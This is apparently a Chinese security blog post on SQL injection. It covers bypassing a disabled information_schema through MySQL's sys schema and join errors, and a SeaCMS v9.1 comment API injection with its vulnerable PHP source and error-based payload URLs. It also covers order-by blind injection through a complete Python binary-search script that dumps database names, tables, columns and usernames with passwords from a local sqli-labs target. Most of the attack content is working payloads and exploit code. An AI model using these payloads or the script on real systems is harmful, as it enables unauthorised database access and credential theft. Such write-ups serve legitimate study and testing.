seasms v9 注入漏洞 + order by注入+information_schema解决方法
目录
一、当注入时,information_schema被禁用的解决方法
1.通过sys库可以获取到表名和库名
2.通过无列名注入join获取列名
二、seasms v9 注入漏洞
三、order by注入
一、当注入时,information_schema被禁用的解决方法
information_schema数据库是MySQL和其他一些数据库系统中存储元数据的标准视图,包含表、列、权限等信息。攻击时可以直接查询这些信息来获取数据库结构,比如表名和列名。当information_schema被禁用时需要寻找其他途径来获取必要的信息。
1.通过sys库可以获取到表名和库名
在 Mysql 5.7 版本中新增了 sys.schema ,基础数据来自于 performance_schema和information_sche两个库中,其本身并不存储数据。
可以代替information_schema的表:
sys.schema_table_statistics:
该表提供了关于表的统计信息,包括表所在的数据库(table_schema)和表名(table_name)。
sys.schema_table_statistics_with_buffer:
除了提供基本的表统计信息外,还包含了InnoDB缓冲池的统计信息,同样有table_schema和table_name字段。
sys.schema_auto_increment_columns:
如果表中有自增ID列,这个视图会包含相关信息,可以用来间接推断出表的存在,但只限于有自增列的表。
2.通过无列名注入join获取列名
由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,由于会出现多个相同的列名,那么他就会报错。就可以利用此特性进行sql注入查询列名。
select * from (select * from users as a join users b)c;
当查询完第一个列名时,使用using排除,继续查询下一个列名。
select * from (select * from users as a join users as b using(id)) as c;
以此类推可以获取到想要的列名。
二、seasms v9 注入漏洞
漏洞文件:
seacmsV9.1/upload/comment/api/index.php
漏洞代码:
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
function ReadReplyID($gid,$cmid,&$rlist)
{
global $dsql;
if($cmid>0)
{
if(!in_array($cmid,$rlist))$rlist[]=$cmid;
$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
if(is_array($row))
{
$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
}else
{
$ReplyID = "";
}
}else
{
$ReplyID = "";
}
return $ReplyID;
}
function FormatJson($json)
{
$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
for($i=6;$i>=0;$i--)
{
$x=str_replace("%".$i."%",$json[$i],$x);
}
$formatJson = jsonescape($x);
return $formatJson;
}
function jsonescape($txt)
{
$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
return $jsonescape;
}
在代码中,$ids是通过$rlist数组收集的,而$rlist是在Readmlist和ReadReplyID函数中被填充的。在代码中,当处理评论回复时,会递归地收集相关的回复ID,存入$rlist数组中,然后生成$ids作为逗号分隔的字符串。在Readrlist函数中,$ids被直接拼接到SQL查询的IN子句中,而没有任何转义或参数化处理。因此我们可以通过报错注入和单引号绕过的方法实现注入。
通过报错注入出当前用户:
http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`
当前数据库:
http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,0x5c,(select%20database()))),@`%27`
注入获取表:
http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x5c,0x5c,(select%20table_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`
【这里获取表时不会报错出东西】
三、order by注入
sort前面是order by,通过sort传入的字段排序,可以通过用sort=if(表达式,列1,列2)的方式注入
可以通过BeautifulSoup爬取表格中username下一格的值来判断表达式的真假,并通过二分查找加快注入速度
import requests
from lxml import html
def get_id_one(URl, paload):
res = requests.get(url=URl, params=paload)
tree = html.fromstring(res.content)
id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()
return id_one
def get_database(URl):
s = ""
for i in range(1, 10):
low = 32
hight = 128
mid = (low + hight) // 2
while (hight > low):
paload = { "sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}
id_one = get_id_one(URl, paload)
if id_one == "1":
hight = mid
mid = (low + hight) // 2
else:
low = mid + 1
mid = (low + hight) // 2
s += chr(mid)
print("数据库名:" + s)
def get_table(URl):
s = ""
for i in range(1, 32):
low = 32
hight = 128
mid = (low + hight) // 2
while (hight > low):
paload = {
"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}
id_one = get_id_one(URl, paload)
if id_one == "1":
low = mid + 1
mid = (low + hight) // 2
else:
hight = mid
mid = (low + hight) // 2
s += chr(mid)
print("表:" + s)
def get_column(URl):
s = ""
for i in range(1, 32):
low = 32
hight = 128
mid = (low + hight) // 2
while (hight > low):
paload = {
"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}
id_one = get_id_one(URl, paload)
if id_one == "1":
low = mid + 1
mid = (low + hight) // 2
else:
hight = mid
mid = (low + hight) // 2
s += chr(mid)
print("列:" + s)
def get_result(URl):
s = ""
for i in range(1, 32):
low = 32
hight = 128
mid = (low + hight) // 2
while (hight > low):
paload = {
"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}
id_one = get_id_one(URl, paload)
if id_one == "1":
low = mid + 1
mid = (low + hight) // 2
else:
hight = mid
mid = (low + hight) // 2
s += chr(mid)
print("用户名和密码信息:" + s)
if __name__ == '__main__':
URl = "http://127.0.0.1/sqlilabs/less-46/index.php"
get_database(URl)
get_table(URl)
get_column(URl)
get_result(URl)